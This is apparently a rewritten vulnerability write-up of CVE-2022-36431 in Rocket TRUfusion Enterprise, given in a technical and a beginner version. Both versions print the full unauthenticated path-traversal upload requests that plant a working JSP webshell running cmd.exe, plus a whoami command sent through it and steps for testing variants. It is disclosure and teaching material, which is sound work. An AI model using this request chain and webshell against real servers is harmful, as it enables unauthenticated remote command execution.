Skip to content
File upload Write-up Intermediate

Unrestricted file upload in Rocket TRUfusion Enterprise <= 7.9.6.0

The file upload servlet did not sanitise the filename parameter, allowing directory traversal and writing arbitrary files. An unauthenticated attacker could upload a JSP webshell to the web root and execute commands on the server.

Mehdi Elyassa Follow

Published on synacktiv.com

Unrestricted file upload in Rocket TRUfusion Enterprise <= 7.9.6.0 CVE-2022-36431

Mehdi Elyassa, Kevin Tellier, on synacktiv.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

Rocket TRUfusion Enterprise is a file-exchange product. In the vendor's own words, it "automates repetitive file-exchange activities between your company and customers, suppliers, and partners", automating "every step required for CAD and PLM data exchange", and it can be configured "with business rules for handling specific file types, as well as meeting customer or partner mandates". It delivers product design data through a secure web portal or Odette File Transfer Protocol (OFTP).

The vulnerability described here sits in the WebPortal component, in a servlet that handles resumable uploads: /UpDwModule/ResumableUploadServlet. That servlet handles resumable uploads and builds a temporary file path from client-supplied values. Because it trusts the client-supplied filename when building the destination path, an unauthenticated attacker can write files anywhere the service account can reach, including the Tomcat web root.

Setup

The issue was found during a security assessment for a customer. The consultants identified the vulnerability on TRUfusion Enterprise WebPortal version 7.9.5.0 and later confirmed it on version 7.9.6.0. Both versions were exploited without authentication.

The [redacted] instance ran on Tomcat 9.0, and its web root was identified as:

Text
C:\Rocket\trufusionPortal\rocket\Tomcat 9.0\webapps\trufusionPortal\

The report notes that this directory path may differ depending on the web server's version and the software's installation folder. No credentials, roles or special tooling are needed: the servlet can be reached directly over HTTP.

Finding it

While searching for vulnerabilities on a TRUfusion Enterprise instance, the consultants noticed that a specially crafted POST request to /UpDwModule/ResumableUploadServlet produced a file not found exception. The request carried the usual resumable-upload parameters (resumableChunkNumber, resumableChunkSize, resumableCurrentChunkSize, resumableTotalSize, resumableType, resumableIdentifier, resumableFilename, resumableRelativePath, resumableTotalChunks) plus a token and token_id, and a three-byte body. The resumableFilename value contained ../ sequences pointing at a directory that did not exist:

HTTP
POST /UpDwModule/ResumableUploadServlet? [redacted]&token_id=13&resumableChunkNumber=1&resumableChunkSize=10240&resumableCu rrentChunkSize=10240&resumableTotalSize=10240&resumableType=&resumableIdentifier=123456RAND OMVALUE&resumableFilename=../../../NON_EXISTING/ NON_EXISTING&resumableRelativePath=IGNORED_VALUE&resumableTotalChunks=1 HTTP/1.1
Host: portal.[redacted]
User-Agent: UA
Content-Type: application/octet-stream
Content-Length: 3

123

The server answered with a 500 and a Java stack trace. The interesting part is the exception message, which shows the path the servlet tried to open, built from the attacker-controlled filename:

HTTP
--HTTP/1.1 500
[...]
<b>Exception</b></p><pre>java.io.FileNotFoundException: C:\Rocket\trufusionPortal\tmp\ IGNORED_VALUE~..\..\..\NON_EXISTING\NON_EXISTING.temp (Das System kann den angegebenen Pfad nicht finden)
java.base&#47;java.io.RandomAccessFile.open0(Native Method)
java.base&#47;java.io.RandomAccessFile.open(RandomAccessFile.java:344)
java.base&#47;java.io.RandomAccessFile.&lt;init&gt;(RandomAccessFile.java:259)
java.base&#47;java.io.RandomAccessFile.&lt;init&gt;(RandomAccessFile.java:213)
java.base&#47;java.io.RandomAccessFile.&lt;init&gt;(RandomAccessFile.java:127)
com.procaess.ddxv6.ddxPortalV6.ddxV6UpDw.upload.ResumableUploadServlet.doPost(ResumableUplo adServlet.java:33)
javax.servlet.http.HttpServlet.service(HttpServlet.java:681)
javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)

This is the classic signature of a path traversal in a file write: the temporary directory C:\Rocket\trufusionPortal\tmp\ is prefixed to a value that still contains ..\..\..\ segments, and the .temp suffix is appended to whatever the client sent. The lack of sanitisation of resumableFilename permits ../ sequences, so an attacker has total control over the destination path, the file extension and the file content. Authentication is not required to interact with the servlet. One operational detail matters for repeatability: to effectively trigger the file upload action, the resumableIdentifier parameter value should be unique in each request.

Exploitation

Step 1: upload a JSP webshell into the web root

To execute arbitrary commands, the consultants uploaded a JSP webshell into the Tomcat web root. The request below writes it as jsp/ws.jsp under C:\Rocket\trufusionPortal\rocket\Tomcat 9.0\webapps\trufusionPortal\. The resumableIdentifier must be an unused identifier.

HTTP
POST /UpDwModule/ResumableUploadServlet? [redacted]&token_id=6&resumableChunkNumber=1&resumableChunkSize=1048576&resumableCurrent ChunkSize=10240&resumableTotalSize=10240&resumableType=&resumableIdentifier=MA6wUUrfj7HG&re sumableFilename=IGNORED/../../../../rocket/tomcat+9.0/webapps/trufusionPortal/jsp/ ws.jsp&resumableRelativePath=IGNORED&resumableTotalChunks=1 HTTP/1.1
Host: portal.[redacted]
User-Agent: UA
Content-Type: application/octet-stream
Content-Length: 677

<FORM METHOD=GET ACTION='ws.jsp'>
<INPUT name='cad' type=text>
<INPUT type=submit value='list'>
</FORM>
<%@ page import="java.io.*" %>
<% String cad = request.getParameter("cad");
String output = "";
if(cad != null) {
String s = null;
try {
Runtime rt = Runtime.getRuntime();
Process res = rt.exec("cmd" + ".exe " + "/C " + cad);
BufferedReader sI = new BufferedReader(new InputStreamReader(res.getInputStream()));
while((s = sI.readLine()) != null) { output += s + "\n"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre>
<%=output %>
</pre>

The resumableFilename value walks up out of the temporary directory with ../../../../ and then descends into rocket/tomcat+9.0/webapps/trufusionPortal/jsp/ws.jsp. The body is the JSP page itself: a small form that takes a cad parameter and passes it to Runtime.exec("cmd.exe /C " + cad), printing the command output inside a <pre> block. The server responded:

HTTP
--HTTP/1.1 200
[...]
All finished.

Step 2: the same request on [redacted]

On the latest version at the time, [redacted], the previous request works by setting the resumableChunkNumber parameter value to 2. Everything else, including the identifier and the payload, is unchanged:

HTTP
POST /UpDwModule/ResumableUploadServlet? [redacted]&token_id=6&resumableChunkNumber=2&resumableChunkSize=1048576&resumableCurrent ChunkSize=10240&resumableTotalSize=10240&resumableType=&resumableIdentifier=MA6wUUrfj7HG&re sumableFilename=IGNORED/../../../../rocket/tomcat+9.0/webapps/trufusionPortal/jsp/ ws.jsp&resumableRelativePath=IGNORED&resumableTotalChunks=1 HTTP/1.1
Host: portal.[redacted]
User-Agent: UA
Content-Type: application/octet-stream
Content-Length: 677

<FORM METHOD=GET ACTION='ws.jsp'>
<INPUT name='cad' type=text>
<INPUT type=submit value='list'>
</FORM>
<%@ page import="java.io.*" %>
<% String cad = request.getParameter("cad");
String output = "";
if(cad != null) {
String s = null;
try {
Runtime rt = Runtime.getRuntime();
Process res = rt.exec("cmd" + ".exe " + "/C " + cad);
BufferedReader sI = new BufferedReader(new InputStreamReader(res.getInputStream()));
while((s = sI.readLine()) != null) { output += s + "\n"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre>
<%=output %>
</pre>

The response is again a 200 ending in All finished..

Step 3: execute commands through the webshell

With the JSP in place, arbitrary system commands run as the identity of the service running the web server. The request below asks the shell to run whoami:

HTTP
POST /trufusionPortal/jsp/ws.jsp HTTP/1.1
Host: portal.[redacted]
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

cad=whoami

The page echoes the form and the command output:

HTTP
--HTTP/1.1 200
[...]
<FORM METHOD=GET ACTION='ws.jsp'>
<INPUT name='cad' type=text>
<INPUT type=submit value='list'>
</FORM>
<pre>
NT AUTHORITY\LocalService
</pre>

So the command ran as NT AUTHORITY\LocalService, the identity of the service running the web server.

Root cause

The stack trace shows the temporary directory prefixed to a value containing the traversal segments, with a .temp suffix, and no sanitisation of resumableFilename. The stack trace from the first probe shows the result directly: C:\Rocket\trufusionPortal\tmp\ IGNORED_VALUE~..\..\..\NON_EXISTING\NON_EXISTING.temp. Because ../ sequences survive into the path passed to RandomAccessFile, the attacker controls the destination directory, the file name and the extension. The servlet also does not require authentication, so nothing stands between an anonymous HTTP client and the write primitive.

Impact

A successful exploitation allows an unauthenticated attacker to execute arbitrary commands on the server and to access the underlying filesystem. Because the commands run under the service identity, the impact mostly depends on the privileges granted to the account executing the web server; in the demonstrated case that was NT AUTHORITY\LocalService. The write primitive alone already gives control of file content, path and extension, which is what makes dropping an executable JSP into the web root possible.

Fix

Rocket Software patched the issue in TRUfusion Enterprise [redacted], released in August 2022. The issue is tracked as TRF-8659 in the release notes document published at:

Text
https://docs.rocketsoftware.com/bundle/[redacted].9.6.1/resource/ [redacted].9.6.1.pdf

The vulnerability is tracked as CVE-2022-36431. The report does not describe the code change itself. The timeline was: vulnerability identified on [redacted] on 2022-06-22; advisory sent to [redacted] on 2022-06-29, with a reply the same day recommending an update to the latest version; confirmed on [redacted] and an updated advisory sent on 2022-07-08; a meeting with Rocket Software on 2022-07-19; CVE-2022-36431 assigned on 2022-07-25; patch in [redacted] on 2022-08-24; public disclosure on 2022-11-21.

Variants to test

  1. Send a resumable-upload request with resumableFilename containing ../ or ..\ sequences and a non-existent directory, and look for a stack trace or error that echoes the resolved path. A positive result is a path in the error that contains your traversal segments, which confirms the filename reaches the filesystem call unsanitised.
  2. Try writing a harmless file with a known extension into a directory you can later request over HTTP, such as a static resource directory. A positive result is retrieving the exact bytes you uploaded from the web server.
  3. Vary resumableChunkNumber (the report needed 1 on [redacted] and 2 on [redacted]) and keep resumableIdentifier unique per request. A positive result is the upload completing with a 200 and the file appearing at the target path.
  4. Test whether the same servlet accepts requests without any session or token: the report shows token and token_id present but ignored. A positive result is a successful write with arbitrary or absent token values.
  5. On other installations, locate the Tomcat web root first (it may differ with the server version and installation folder) and attempt to place a JSP there. A positive result is the JSP being served and executing, which turns the file write into command execution as the service account.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 22 min read.

What happened, in plain words

Rocket TRUfusion Enterprise is a piece of software that companies use to swap files with their customers, suppliers and partners. The vendor describes it as automating "repetitive file-exchange activities between your company and customers, suppliers, and partners", automating "every step required for CAD and PLM data exchange", and configurable "with business rules for handling specific file types, as well as meeting customer or partner mandates". It delivers product design data through a secure web portal or Odette File Transfer Protocol (OFTP).

Think of it as a secure post office for engineering drawings: instead of emailing large design files back and forth, everyone drops them into one managed system.

During a security assessment for a customer, two consultants from Synacktiv found a serious flaw in the part of the product that receives uploaded files. The portal lets a browser send a file in pieces (so a big file can be resumed if the connection drops). The piece that receives those pieces is a small program on the server called a servlet, reachable at /UpDwModule/ResumableUploadServlet. When it saves each piece to disk, it builds the destination path partly from a filename the browser supplies. It never cleans that filename. So an attacker can put ../ sequences in it, which in a file path mean "go up one folder". By walking up and then down into a different folder, the attacker decides exactly where on the server the file lands, what it is called, and what extension it has.

The consultants used this to drop a small program written in JSP (a page format that the web server runs as code) into the folder the web server serves to the public. Once that file was there, they could ask it to run any command on the machine. No login was needed at any point.

The affected versions were [redacted] and [redacted] of TRUfusion Enterprise WebPortal. Rocket Software fixed it in [redacted], released in August 2022. The issue is tracked as TRF-8659 in the release notes and as CVE-2022-36431.

Context

What the product does

TRUfusion Enterprise is a file-exchange product. In the vendor's own words, it "automates repetitive file-exchange activities between your company and customers, suppliers, and partners", automating "every step required for CAD and PLM data exchange", and it can be configured "with business rules for handling specific file types, as well as meeting customer or partner mandates".

A few of those words deserve unpacking for a newcomer:

  • CAD stands for computer-aided design: the files engineers make when they draw a part or a machine.
  • PLM stands for product lifecycle management: the system that keeps track of every version of those drawings over the life of a product.
  • OFTP is a file-transfer protocol used in the automotive industry, a bit like FTP but with rules tailored to that sector.
  • A web portal is simply a website you log into to do a job, in this case exchanging files.

Where the flaw lives

The vulnerability sits in the WebPortal component, in a servlet that handles resumable uploads: /UpDwModule/ResumableUploadServlet. That servlet is the piece of the portal that receives file chunks from the browser and writes them to a temporary location on disk before the upload is completed. Because it trusts the client-supplied filename when building the destination path, an unauthenticated attacker can write files anywhere the service account can reach, including the Tomcat web root.

Two more terms to fix in your head before we go on:

  • A servlet is a small Java program that runs inside a web server and answers requests for one particular address. When your browser asks for a URL, the server hands the request to the servlet that owns that URL.
  • Tomcat is the web server software that runs Java servlets. Its web root is the folder whose contents it will hand out to anyone who asks, and, importantly, whose JSP files it will execute as code.

A useful comparison: the web root is like the front counter of a shop. Anything you put on the counter, the shop assistant will happily hand to the next customer, and if it is a JSP page, the assistant will even read it out and follow its instructions.

Setup

How it was found

The issue was found during a security assessment for a customer. The consultants identified the vulnerability on TRUfusion Enterprise WebPortal version 7.9.5.0 and later confirmed it on version 7.9.6.0. Both versions were exploited without authentication.

"Without authentication" means the attacker never logged in. There was no username, no password, no session. The servlet answered anonymous requests from the internet.

The target environment

The [redacted] instance ran on Tomcat 9.0, and its web root was identified as:

Text
C:\Rocket\trufusionPortal\rocket\Tomcat 9.0\webapps\trufusionPortal\

This is a Windows file path. The backslashes separate folders, just as slashes do on Linux or macOS. Reading it from left to right: on drive C:, inside a folder called Rocket, inside trufusionPortal, inside rocket, inside Tomcat 9.0, inside webapps, inside trufusionPortal. That last folder is the one the web server treats as the public face of the portal.

The report notes that this directory path may differ depending on the web server's version and the software's installation folder. No credentials, roles or special tooling are needed: the servlet can be reached directly over HTTP.

HTTP is the language your browser and a web server speak to each other. Every time you load a page, your browser sends an HTTP request and the server sends back an HTTP response. Nothing exotic is required to talk to this servlet: a browser, or any tool that can send a request, is enough.

Finding it

The first probe

While searching for vulnerabilities on a TRUfusion Enterprise instance, the consultants noticed that a specially crafted POST request to /UpDwModule/ResumableUploadServlet produced a file not found exception.

A POST request is the kind of HTTP request a browser sends when you submit a form or upload a file: it carries data in its body, as opposed to a GET request, which just asks for a page. "Specially crafted" means they built the request by hand rather than letting a browser build it, so they could put unusual values in it.

The request carried the usual resumable-upload parameters (resumableChunkNumber, resumableChunkSize, resumableCurrentChunkSize, resumableTotalSize, resumableType, resumableIdentifier, resumableFilename, resumableRelativePath, resumableTotalChunks) plus a token and token_id, and a three-byte body. The resumableFilename value contained ../ sequences pointing at a directory that did not exist:

HTTP
POST /UpDwModule/ResumableUploadServlet? [redacted]&token_id=13&resumableChunkNumber=1&resumableChunkSize=10240&resumableCu rrentChunkSize=10240&resumableTotalSize=10240&resumableType=&resumableIdentifier=123456RAND OMVALUE&resumableFilename=../../../NON_EXISTING/ NON_EXISTING&resumableRelativePath=IGNORED_VALUE&resumableTotalChunks=1 HTTP/1.1
Host: portal.[redacted]
User-Agent: UA
Content-Type: application/octet-stream
Content-Length: 3

123

Line by line, in plain words:

  1. POST /UpDwModule/ResumableUploadServlet? ... is the request line. POST is the method ("I am sending you data"). /UpDwModule/ResumableUploadServlet is the address of the servlet. Everything after the ? is the query string: a list of name=value pairs, separated by &, that the server reads as inputs. Here the inputs are the resumable-upload parameters.
  2. [redacted] and token_id=13look like a session token and an identifier. A **token** is normally a short string a server gives you after you log in, so it can recognise you on the next request, a bit like a cloakroom ticket. The wordIGNORED_VALUE` is the consultants' own placeholder.
  3. resumableChunkNumber=1, resumableChunkSize=10240, resumableCurrentChunkSize=10240, resumableTotalSize=10240, resumableTotalChunks=1 describe the upload: this is chunk number 1, each chunk is 10240 bytes, the total is 10240 bytes, and there is only one chunk. 10240 bytes is 10 kilobytes, a tiny file.
  4. resumableType= is empty: no file type declared.
  5. resumableIdentifier=123456RANDOMVALUE is a label the browser makes up to group the chunks of one upload together. The consultants chose an obviously fake value.
  6. resumableFilename=../../../NON_EXISTING/NON_EXISTING is the interesting one. This is the filename the browser claims the file has. The ../ sequences mean "go up one folder" in a file path. Three of them climb three folders up, then NON_EXISTING/NON_EXISTING tries to go into a folder that does not exist. The point of the probe is to see whether the server blindly uses this value when building the path on disk.
  7. resumableRelativePath=IGNORED_VALUE is another placeholder.
  8. HTTP/1.1 is the version of the HTTP protocol being spoken.
  9. Host: portal.[redacted] tells the server which site the request is for. portal.[redacted] is a placeholder hostname, not a real internet address.
  10. User-Agent: UA is the field where a browser normally identifies itself. UA is a placeholder.
  11. Content-Type: application/octet-stream says the body is raw binary data, the generic type for "some bytes".
  12. Content-Length: 3 says the body is three bytes long.
  13. The blank line separates the headers from the body.
  14. 123 is the body: three bytes of filler.

What the server answered

The server answered with a 500 and a Java stack trace. The interesting part is the exception message, which shows the path the servlet tried to open, built from the attacker-controlled filename:

HTTP
--HTTP/1.1 500
[...]
<b>Exception</b></p><pre>java.io.FileNotFoundException: C:\Rocket\trufusionPortal\tmp\ IGNORED_VALUE~..\..\..\NON_EXISTING\NON_EXISTING.temp (Das System kann den angegebenen Pfad nicht finden)
java.base&#47;java.io.RandomAccessFile.open0(Native Method)
java.base&#47;java.io.RandomAccessFile.open(RandomAccessFile.java:344)
java.base&#47;java.io.RandomAccessFile.&lt;init&gt;(RandomAccessFile.java:259)
java.base&#47;java.io.RandomAccessFile.&lt;init&gt;(RandomAccessFile.java:213)
java.base&#47;java.io.RandomAccessFile.&lt;init&gt;(RandomAccessFile.java:127)
com.procaess.ddxv6.ddxPortalV6.ddxV6UpDw.upload.ResumableUploadServlet.doPost(ResumableUplo adServlet.java:33)
javax.servlet.http.HttpServlet.service(HttpServlet.java:681)
javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)

What each part means:

  1. --HTTP/1.1 500 is the start of the response. 500 is the HTTP status code for "the server hit an internal error". A 200 would mean "all good".
  2. [...] is the report's shorthand for "some content omitted here".
  3. <b>Exception</b></p><pre>java.io.FileNotFoundException: ... is the error page. A stack trace is the list of function calls a program was in when it crashed, printed from the innermost call outwards. It is meant for developers, and it is a gift to an attacker because it reveals internal details.
  4. java.io.FileNotFoundException is the specific error: the program tried to open a file and the file (or folder) was not there.
  5. C:\Rocket\trufusionPortal\tmp\ IGNORED_VALUE~..\..\..\NON_EXISTING\NON_EXISTING.temp is the path it tried to open. Read it carefully. It starts with the fixed temporary folder C:\Rocket\trufusionPortal\tmp\, then a value derived from the request (IGNORED_VALUE~), then the ..\..\..\ sequences the attacker supplied, then NON_EXISTING\NON_EXISTING, then a .temp suffix the servlet added. The attacker's ../ survived into the path. That is the whole bug in one line.
  6. (Das System kann den angegebenen Pfad nicht finden) is German for "the system cannot find the path specified". The server was configured with a German locale, which is why the error message is in German.
  7. The lines starting with java.base&#47;java.io.RandomAccessFile... are the internal Java functions that were called. RandomAccessFile is the Java class used to open a file for reading or writing. &#47; is the HTML encoding of a slash, which is why it looks odd.
  8. com.procaess.ddxv6.ddxPortalV6.ddxV6UpDw.upload.ResumableUploadServlet.doPost(ResumableUplo adServlet.java:33) names the exact servlet and the line of its source code (line 33) where the crash happened. This confirms the vulnerable code is in the upload servlet.
  9. The remaining lines (HttpServlet.service, WsFilter.doFilter) are the standard Tomcat plumbing that called the servlet. They are not interesting on their own; they just show the request came in through the normal web server path.

Why this is a path traversal

This is the classic signature of a path traversal in a file write: the temporary directory C:\Rocket\trufusionPortal\tmp\ is prefixed to a value that still contains ..\..\..\ segments, and the .temp suffix is appended to whatever the client sent. The lack of sanitisation of resumableFilename permits ../ sequences, so an attacker has total control over the destination path, the file extension and the file content. Authentication is not required to interact with the affected servlet.

A comparison: imagine a hotel clerk who is told "put this parcel in room 101" and who simply walks to whatever door the guest names. If the guest says "room 101, then up the stairs, then the roof", the clerk goes to the roof. The clerk should have refused anything that was not a plain room number.

"Total control over the destination path, the file extension and the file content" means three things at once: the attacker chooses which folder the file lands in, what it is called (including whether it ends in .jsp, .txt, .exe), and what bytes are inside it. That combination is what turns a file write into code execution.

One operational detail matters for repeatability: to effectively trigger the file upload action, the resumableIdentifier parameter value should be unique in each request. In other words, if you reuse the same identifier, the servlet may think it is continuing an earlier upload and skip the write. A fresh identifier each time forces it to treat the request as a new upload.

Exploitation

Step 1: upload a JSP webshell into the web root

To execute arbitrary commands, the consultants uploaded a JSP webshell into the Tomcat web root. A webshell is a small program placed on a server that lets an attacker run commands through the browser, as if they had a terminal on the machine. JSP (JavaServer Pages) is a file format the Tomcat server will execute as code when someone requests it. Putting a JSP file into the web root is therefore like leaving a remote-controlled robot on the shop counter: the next customer who asks for it gets the robot, and the robot does whatever the attacker tells it.

The request below writes it as jsp/ws.jsp under C:\Rocket\trufusionPortal\rocket\Tomcat 9.0\webapps\trufusionPortal\. The resumableIdentifier must be an unused identifier.

HTTP
POST /UpDwModule/ResumableUploadServlet? [redacted]&token_id=6&resumableChunkNumber=1&resumableChunkSize=1048576&resumableCurrent ChunkSize=10240&resumableTotalSize=10240&resumableType=&resumableIdentifier=MA6wUUrfj7HG&re sumableFilename=IGNORED/../../../../rocket/tomcat+9.0/webapps/trufusionPortal/jsp/ ws.jsp&resumableRelativePath=IGNORED&resumableTotalChunks=1 HTTP/1.1
Host: portal.[redacted]
User-Agent: UA
Content-Type: application/octet-stream
Content-Length: 677

<FORM METHOD=GET ACTION='ws.jsp'>
<INPUT name='cad' type=text>
<INPUT type=submit value='list'>
</FORM>
<%@ page import="java.io.*" %>
<% String cad = request.getParameter("cad");
String output = "";
if(cad != null) {
String s = null;
try {
Runtime rt = Runtime.getRuntime();
Process res = rt.exec("cmd" + ".exe " + "/C " + cad);
BufferedReader sI = new BufferedReader(new InputStreamReader(res.getInputStream()));
while((s = sI.readLine()) != null) { output += s + "\n"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre>
<%=output %>
</pre>

Line by line:

  1. POST /UpDwModule/ResumableUploadServlet? ... is again the upload servlet, with the same family of parameters.
  2. [redacted] and token_id=6are placeholders. The wordIGNORED` is the consultants' own placeholder.
  3. resumableChunkNumber=1 says this is the first chunk. On version 7.9.5.0 this value worked; on [redacted] it had to be changed (see Step 2).
  4. resumableChunkSize=1048576 says each chunk is 1048576 bytes, which is 1 megabyte. resumableCurrentChunkSize=10240 and resumableTotalSize=10240 say this particular chunk and the whole file are 10240 bytes.
  5. resumableIdentifier=MA6wUUrfj7HG is a fresh, random-looking label. It must not have been used before, so the servlet treats this as a brand-new upload and actually writes the file.
  6. resumableFilename=IGNORED/../../../../rocket/tomcat+9.0/webapps/trufusionPortal/jsp/ ws.jsp is the payload. Read it from left to right: IGNORED/ is a harmless-looking first folder, then ../../../../ climbs four folders up out of the temporary directory, then rocket/tomcat+9.0/webapps/trufusionPortal/jsp/ ws.jsp descends into the web root and names the file ws.jsp inside a jsp folder. The + characters are how a space is encoded in a URL query string, so tomcat+9.0 means tomcat 9.0, matching the real folder name Tomcat 9.0. The space before ws.jsp is part of the original request as captured.
  7. resumableRelativePath=IGNORED and resumableTotalChunks=1 are placeholders and a chunk count.
  8. Host, User-Agent, Content-Type are as before.
  9. Content-Length: 677 says the body is 677 bytes long. That is the size of the JSP page below.
  10. The body is the JSP page itself. It starts with a small HTML form: <FORM METHOD=GET ACTION='ws.jsp'> makes a form that submits back to ws.jsp, <INPUT name='cad' type=text> is a text box named cad, and <INPUT type=submit value='list'> is a button labelled list. This is the user interface of the webshell: a box to type a command and a button to run it.
  11. <%@ page import="java.io.*" %> is a JSP directive that imports Java's input/output classes, so the page can read the output of commands.
  12. <% String cad = request.getParameter("cad"); ... %> is a block of Java code. It reads the cad parameter from the request (the text the user typed in the box), prepares an empty output string, and if cad is not empty, runs the command.
  13. Runtime rt = Runtime.getRuntime(); gets a handle to the Java runtime, which is what can start other programs.
  14. Process res = rt.exec("cmd" + ".exe " + "/C " + cad); is the heart of the webshell. It starts cmd.exe (the Windows command interpreter) with the /C flag, which means "run the following command and exit". The command is whatever the user typed. The string is built by concatenation and the result is cmd.exe /C followed by the command.
  15. BufferedReader sI = new BufferedReader(new InputStreamReader(res.getInputStream())); reads whatever the command printed.
  16. while((s = sI.readLine()) != null) { output += s + "\n"; } collects that output line by line into the output string.
  17. catch(IOException e) { e.printStackTrace(); } prints any error, so the attacker can see what went wrong.
  18. <pre><%=output %></pre> prints the collected output inside a <pre> block, which preserves line breaks and spacing. That is how the attacker sees the result of each command.

The server responded:

HTTP
--HTTP/1.1 200
[...]
All finished.

200 means success. All finished. is the servlet's own message that the upload completed. At this point, ws.jsp exists in the web root and the web server will execute it when asked.

Step 2: the same request on [redacted]

On the latest version at the time, [redacted], the previous request works by setting the resumableChunkNumber parameter value to 2. Everything else, including the identifier and the payload, is unchanged:

HTTP
POST /UpDwModule/ResumableUploadServlet? [redacted]&token_id=6&resumableChunkNumber=2&resumableChunkSize=1048576&resumableCurrent ChunkSize=10240&resumableTotalSize=10240&resumableType=&resumableIdentifier=MA6wUUrfj7HG&re sumableFilename=IGNORED/../../../../rocket/tomcat+9.0/webapps/trufusionPortal/jsp/ ws.jsp&resumableRelativePath=IGNORED&resumableTotalChunks=1 HTTP/1.1
Host: portal.[redacted]
User-Agent: UA
Content-Type: application/octet-stream
Content-Length: 677

<FORM METHOD=GET ACTION='ws.jsp'>
<INPUT name='cad' type=text>
<INPUT type=submit value='list'>
</FORM>
<%@ page import="java.io.*" %>
<% String cad = request.getParameter("cad");
String output = "";
if(cad != null) {
String s = null;
try {
Runtime rt = Runtime.getRuntime();
Process res = rt.exec("cmd" + ".exe " + "/C " + cad);
BufferedReader sI = new BufferedReader(new InputStreamReader(res.getInputStream()));
while((s = sI.readLine()) != null) { output += s + "\n"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre>
<%=output %>
</pre>

The only difference from Step 1 is resumableChunkNumber=2 instead of 1. Everything else, including the identifier MA6wUUrfj7HG and the JSP body, is identical. The report does not explain the change; on [redacted] the request works with the chunk number set to 2. The response is again a 200 ending in All finished..

Step 3: execute commands through the webshell

With the JSP in place, arbitrary system commands run as the identity of the service running the web server. The request below asks the shell to run whoami:

HTTP
POST /trufusionPortal/jsp/ws.jsp HTTP/1.1
Host: portal.[redacted]
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

cad=whoami

Line by line:

  1. POST /trufusionPortal/jsp/ws.jsp is a request to the JSP file we just uploaded. The path matches where we wrote it: trufusionPortal/jsp/ws.jsp under the web root.
  2. Host: portal.[redacted] is the same placeholder hostname.
  3. Content-Type: application/x-www-form-urlencoded is the standard format a browser uses when submitting a form: name=value pairs, with special characters encoded.
  4. Content-Length: 10 says the body is 10 bytes long. cad=whoami is exactly 10 characters.
  5. cad=whoami is the body: the cad parameter is set to whoami. whoami is a Windows command that prints the name of the account the current process is running as. It is the standard first command to run after getting a shell, because it tells you how much power you have.

The page echoes the form and the command output:

HTTP
--HTTP/1.1 200
[...]
<FORM METHOD=GET ACTION='ws.jsp'>
<INPUT name='cad' type=text>
<INPUT type=submit value='list'>
</FORM>
<pre>
NT AUTHORITY\LocalService
</pre>
  1. 200 means the page ran successfully.
  2. The <FORM> block is the same form as before, printed back so the attacker can type another command.
  3. <pre>NT AUTHORITY\LocalService</pre> is the output of whoami. NT AUTHORITY\LocalService is a built-in Windows service account.

So the command ran as NT AUTHORITY\LocalService, the account the Tomcat service was using on that host.

Root cause

The servlet builds the path of the temporary file by concatenating a fixed temporary directory, a value derived from the request, and a .temp suffix, without sanitising the client-supplied resumableFilename. The stack trace from the first probe shows the result directly: C:\Rocket\trufusionPortal\tmp\ IGNORED_VALUE~..\..\..\NON_EXISTING\NON_EXISTING.temp. Because ../ sequences survive into the path passed to RandomAccessFile, the attacker controls the destination directory, the file name and the extension. The servlet also does not require authentication, so nothing stands between an anonymous HTTP client and the write primitive. The report does not describe any additional defence that was present and bypassed; the sanitisation of the filename is simply absent.

"Sanitising" a filename means cleaning it before use: removing or rejecting anything that is not a plain name, such as slashes, .., drive letters or special characters. The servlet did none of that. It took the browser's word for the filename and glued it onto a folder path.

Impact

A successful exploitation allows an unauthenticated attacker to execute arbitrary commands on the server and to access the underlying filesystem. Because the commands run under the service identity, the impact mostly depends on the privileges granted to the account executing the web server; in the demonstrated case that was NT AUTHORITY\LocalService. The write primitive alone already gives control of file content, path and extension, which is what makes dropping an executable JSP into the web root possible.

In plain terms: an anonymous visitor to the portal could end up running commands on the server, reading and writing files, and doing so with whatever powers the Tomcat service account had. On this host that was the account in use, and the report says the impact depends on the privileges of the service account.

Fix

Rocket Software patched the issue in TRUfusion Enterprise [redacted], released in August 2022. The issue is tracked as TRF-8659 in the release notes document published at:

Text
https://docs.rocketsoftware.com/bundle/[redacted].9.6.1/resource/ [redacted].9.6.1.pdf

The vulnerability is tracked as CVE-2022-36431. A CVE is a public catalogue number for a known vulnerability, so that everyone (vendors, defenders, scanners) can refer to the same issue by the same name.

The timeline was:

Date Action
2022-06-22 Vulnerability identified on version 7.9.5.0
2022-06-29 Advisory sent to [redacted]
2022-06-29 Reply from support recommending to update the software to the latest version
2022-07-08 Vulnerability confirmed on version 7.9.6.0
2022-07-08 Updated advisory sent to [redacted]
2022-07-19 Meeting with Rocket Software to provide insight into the issue
2022-07-25 Assigned CVE-2022-36431
2022-08-24 Rocket Software patches the issue in version 7.9.6.1
2022-11-21 Public disclosure

An advisory is a written report sent to the vendor describing the flaw, how to reproduce it, and how serious it is. The consultants sent one, got a reply suggesting an update, confirmed the flaw on the newer version, sent an updated advisory, met the vendor, received a CVE number, and disclosed publicly after the patch. That is the normal responsible-disclosure dance.

Variants to test

If you are testing a similar product, these checks follow from the report, each with what a positive result looks like:

  1. Send a resumable-upload request with resumableFilename containing ../ or ..\ sequences and a non-existent directory, and look for a stack trace or error that echoes the resolved path. A positive result is a path in the error that contains your traversal segments, which confirms the filename reaches the filesystem call unsanitised.
  2. Try writing a harmless file with a known extension into a directory you can later request over HTTP, such as a static resource directory. A positive result is retrieving the exact bytes you uploaded from the web server.
  3. Vary resumableChunkNumber (the report needed 1 on [redacted] and 2 on [redacted]) and keep resumableIdentifier unique per request. A positive result is the upload completing with a 200 and the file appearing at the target path.
  4. Test whether the same servlet accepts requests without any session or token: the report shows token and token_id present but ignored. A positive result is a successful write with arbitrary or absent token values.
